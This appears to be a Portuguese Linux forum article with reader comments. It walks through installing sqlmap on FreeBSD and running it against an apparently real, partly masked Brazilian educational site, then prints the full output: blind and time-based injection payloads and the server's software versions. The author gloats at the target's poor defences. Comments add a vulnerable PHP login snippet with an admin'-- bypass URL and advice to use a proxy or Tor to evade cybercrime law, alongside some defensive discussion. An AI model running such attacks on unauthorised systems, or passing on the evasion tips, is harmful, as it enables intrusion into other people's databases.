SQL injection é uma tática hacker que utiliza uma linguagem bem conhecida: SQL (Structured Query Language) ou Linguagem de Consulta Estruturada, é utilizada pela maioria dos SGDB "software livre" do Brasil e do mundo. Ela pode ser uma solução, ou um problema na vida de um administrador de redes.
Para tranquilizar a galera do bem, informo que o sqlmap é multiplataforma e pode ser instalado em qualquer operation system. Apesar de ser 'amigo íntimoa de BSD system.
Vamos deixar de brincadeira e mão na massa, mas, com base F-BSD, é claro!
Depois de atualizar seu ports, faça:
# cd /usr/ports/security/sqlmap/
# make install clean
De qualquer ponto do sistema, escolha o alvo e vamos 'funfar':
O parâmetro [-b] , pesquisa a versão do SGBD - Sistema gerenciador do banco.
Código de retorno:
sqlmap/0.9 - automatic SQL injection and database takeover tool
http://sqlmap.sourceforge.net
[*] starting at: 20:23:28
[20:23:28] [INFO] using '/usr/local/lib/python2.7/
site-packages/sqlmap/output/www.??????.xxxxx.br/session' as session file
[20:23:29] [INFO] testing connection to the target url
[20:23:31] [INFO] testing if the url is stable, wait a few seconds
[20:23:33] [INFO] url is stable
[20:23:33] [INFO] testing if GET parameter 'id_noticia' is dynamic
[20:23:34] [INFO] confirming that GET parameter 'id_noticia' is dynamic
[20:23:35] [INFO] GET parameter 'id_noticia' is dynamic
[20:23:36] [WARNING] heuristic
test shows that GET parameter 'id_noticia' might not be injectable
[20:23:36] [INFO] testing sql injection on GET parameter 'id_noticia'
[20:23:36] [INFO] testing
'AND boolean-based blind - WHERE or HAVING clause'
[20:23:49] [INFO] GET parameter 'id_noticia' is 'AND boolean-based blind -
WHERE or HAVING clause' injectable
[20:23:49] [INFO] testing 'MySQL >= 5.0 AND error-based -
WHERE or HAVING clause'
[20:23:50] [INFO] testing 'PostgreSQL AND error-based -
WHERE or HAVING clause'
[20:23:51] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based -
WHERE or HAVING clause'
[20:23:52] [INFO] testing 'Oracle AND error-based -
WHERE or HAVING clause (XMLType)'
[20:23:53] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[20:23:54] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[20:23:55] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[20:23:56] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[20:24:09] [INFO] GET parameter 'id_noticia' is
'MySQL > 5.0.11 AND time-based blind' injectable
[20:24:09] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[20:24:23] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'id_noticia' is vulnerable.
Do you want to keep testing the others? [y/N] y
sqlmap identified the following injection points
with a total of 40 HTTP(s) requests:
---
Place: GET
Parameter: id_noticia
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id_noticia=85' AND 1304=1304 AND 'JTax'='JTax
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id_noticia=85' AND SLEEP(5) AND 'kFej'='kFej
---
[20:24:45] [INFO] the back-end DBMS is MySQL
[20:24:45] [INFO] fetching banner
[20:24:45] [INFO] retrieved: 5.1.41-3ubuntu12.10
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL 5.0.11
banner: '5.1.41-3ubuntu12.10'
[20:27:49] [INFO] Fetched data logged to text files under
'/usr/local/lib/python2.7/
site-packages/sqlmap/output/www.????????.edu.br'
[*] shutting down at: 20:27:49
()rsrsrsrs... desculpa gente, mas foi difícil me conter)
A festa está feita!!! :-)
Para simplificar, o sqlmap testa todos os possíveis SGBDs com os [Ids] informados na URL. Mas caso você conheça um [Ids] vulnerável, pode setar.
Escancarou as linhas:
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL 5.0.11
banner: '5.1.41-3ubuntu12.10'
Compartilho da felicidade com meus amigos acadêmicos por ter sistemas de defesas assim.
Avisa esse cara para parar de relaxar com banners, pô!!!
[2] Comentário enviado por jcb em 20/05/2013 - 09:22h
Cristof, show de bola esse post, mas estou com uma duvida ... depois ter "injetado" com o sqlmap, consigo executar tais comandos como UPDATE TABLE, SELECT, WHERE ??
[3] Comentário enviado por cristofe em 20/05/2013 - 10:44h
Olá Jcb,
O SQL injection com SQLmap prova que o sistema tem vulnerabilidades com relação a injeção de sql, por tanto vc pode elaborar query sql para realizar a consulta que acha melhor. Espero ter respondido sua questão.
[5] Comentário enviado por jcb em 20/05/2013 - 14:14h
Cisfote,
seguinte, só vou conseguir executar a query se eu conseguir "quebrar" e ter acesso ao usuário root ou / admin database certo ? só assim terei acesso ao shell para poder executar as query´s!!!
abs,
[3] Comentário enviado por cristofe em 20/05/2013 - 10:44h:
Olá Jcb,
O SQL injection com SQLmap prova que o sistema tem vulnerabilidades com relação a injeção de sql, por tanto vc pode elaborar query sql para realizar a consulta que acha melhor. Espero ter respondido sua questão.
[7] Comentário enviado por cristofe em 20/05/2013 - 14:42h
nao sei o q o colega acima quer dizer com o comentário de SQL tutorial, mas se observar direito tive a preocupação de realizar a instrução para a defesa do ataque e utilzei um ambiente BSD. Não encontrei nenhum artigo nesta base e não encontrei nada demais no blog dele. acho que ele esta tentando dizer que ninguém comentou o vídeo dele e nem assistiu. ;-).
[14] Comentário enviado por roberto_espreto em 26/05/2013 - 18:27h
Concordo com a opinião do "nicolas.cb", este tutorial não explica o por que uma aplicação fica vulnerável a SQLi e sim como utilizar o SQLMap.
E a dica de manter tudo atualizado não quer dizer nada. A aplicação deve fazer a sanitização dos dados de entrada de cada usuário corretamente e saber como tratar sua saída.
Exemplo: Considere o seguinte código abaixo para uma página (login.php) de autenticação simples:
$resultado = pg_query("SELECT * from users WHERE uid = '".$_GET['usuario']."' AND pwd = '".$_GET['password']."';");
if (pg_query($resultado) > 0) {
echo "Login efetuado com sucesso";
user_redireciona_painel_controle();
}
O que acontece se eu passar como parâmetro a seguinte requisição?
http://site/login.php?usuario=admin'--&password=e
Como o DB vai enxergar esta consulta?
pg_query("SELECT * from users WHERE uid = 'admin'--' AND pwd = 'e';");
E agora, consigo executar comandos no db sem usar ferramentas de automação?
[15] Comentário enviado por cristofe em 26/05/2013 - 19:23h
Boa Roberto espreto,
Não entendi muito sobre concordar com o outro rapaz e dica de deixar tudo atualizado, como vc pode ver no início do artigo que vc nao leu todo. A intensão não é esgotar o assunto. Apenas explicar como acontece o ataque. Achei interessante postar. Quem sabe vc com toda a sua sabedoria curiosa dedica um tempo, assim como fiz, e produz algo mais completo. Criticar é fácil. De qualquer forma lhe agradeço.
[16] Comentário enviado por joaocpimenta em 27/05/2013 - 17:31h
"A dica de manter tudo atualizado não quer dizer nada"
Roberto, no caso de CMS (como perguntado acima) Joomla, WP, Drupal...Manter os components atualizados é fundamental, eles viabilizam e facilitam ataques SQLi.
Obviamente não substitui o tratamento do código, mas os bancos de dados default desses CMS muitas vezes negligenciam isso, e como não é do escopo do admin tratar esses bancos, vem a necessidade de manter atualizados os components.
Segue um exemplo de exploração em cima de components desatualizados.
[17] Comentário enviado por roberto_espreto em 27/05/2013 - 22:45h
cristofe,
Não me leve a mal, só quis dizer que não concordei com o título do artigo. Acho que deveria ser do tipo: "Explorando SQLi com SQLMap". Ao final falei que ficou bom. :)
Se você escrever para alguém com conhecimento mais crítico (exemplo, professor), a primeira coisa que ele irá perguntar será: Mas o que é SQL Injection? Imagina em um TCC. :)
joaocpimenta,
Quando disse: "A dica de manter tudo atualizado não quer dizer nada", realmente não significa muita coisa (mas deve ser feito, claro), pois existem novas vulnerabilidades que são descobertas em softwares "atualizados", os chamados 0-day. Ou seja, existe uma forma de explorar o software e ainda não existe correção para tal. Como me defendo contra este tipo de vulnerabilidade (0-day)? Existem N fatores que trabalham em conjunto em uma empresa/organização para minimizar estes riscos, exemplo, firewall de aplicação (Web Application Firewall - WAF), segmentação de ambientes, hardening de sistema operacional etc. A dica de atualização, é apenas uma, dentre várias.
[18] Comentário enviado por cristofe em 27/05/2013 - 23:05h
Ok Roberto esperto, sem problemas. Se observar não tive realmente a intenção de esgotar o assunto, haja vista que é tenso. Todavia, o foco era mesmo o SQLMap. Não entendi o q há com o título, mas esquenta não. Somente um toque, pois as pessoas que escrevem para o VOL não ganham nada, e fazem de bom agrado.
Há Sim, deixa eu te, falar sou Professor do Instituto Federal e contribuo com o VOL desde 2006 e nunca agradei a todos. É assim mesmo !!
Forte Abraco !!!
[19] Comentário enviado por joaocpimenta em 28/05/2013 - 00:06h
[11] Comentário enviado por joaocpimenta em 22/05/2013 - 11:11h:
[10] Comentário enviado por leorocco em 21/05/2013 - 22:31h:
"É 'velho', TI não é fácil." hehe
Valeu pelo artigo, cristofe!
Mas, qual a melhor maneira de se proteger quando se usa um CMS?
Os fatores de tratamento e preocupações com o código da aplicação quanto a segurança permanecem os mesmos quando se utiliza um CMS.
Além disso, os componentes e plugins do CMS devem estar sempre atualizados. Um firewall de aplicação é sempre bem vindo.
Com certeza manter os components atualizados é uma das muitas coisas a se fazer... o WAF é uma boa, como eu havia sugerido também...
Por isso eu reforço: são N ações preventivas que não eliminam umas as outras. Um WAF não elimina a necessidade de Hardening, o Hardening não elimina a necessidade de código seguro e por aí vai...
No caso dos CMS, reforcei o aspecto de atualização, porque qualquer Zé pode rodar um exploit pronto contra uma vulnerabilidade conhecida e ter eficácia num dump de base por exemplo. É uma situação comum.
Já um 0 day é muito mais raro, mas obviamente não pode ser descartado.
Enfim... Segurança são muitos aspectos, citamos alguns superficialmente.
[20] Comentário enviado por silent-man em 28/05/2013 - 16:34h
Eu ia comentar sobre o 0 day, mas já adiantaram. Além do mais, acredito que estão desviando o foco do ARTIGO.
Aos "hackudos", como bem colocou o autor do artigo: "Sem esquecer da nossa Maria da Penha e a Lei "Carolina Dieckmann", não esqueçam de utilizar um proxy
[21] Comentário enviado por Rafaelmspc em 29/05/2013 - 17:01h
A opção do sqlmap --proxy=http://ip:porta e ainda se for usar tor, a opção. --tor.
[20] Comentário enviado por silent-man em 28/05/2013 - 16:34h:
Eu ia comentar sobre o 0 day, mas já adiantaram. Além do mais, acredito que estão desviando o foco do ARTIGO.
Aos "hackudos", como bem colocou o autor do artigo: "Sem esquecer da nossa Maria da Penha e a Lei "Carolina Dieckmann", não esqueçam de utilizar um proxy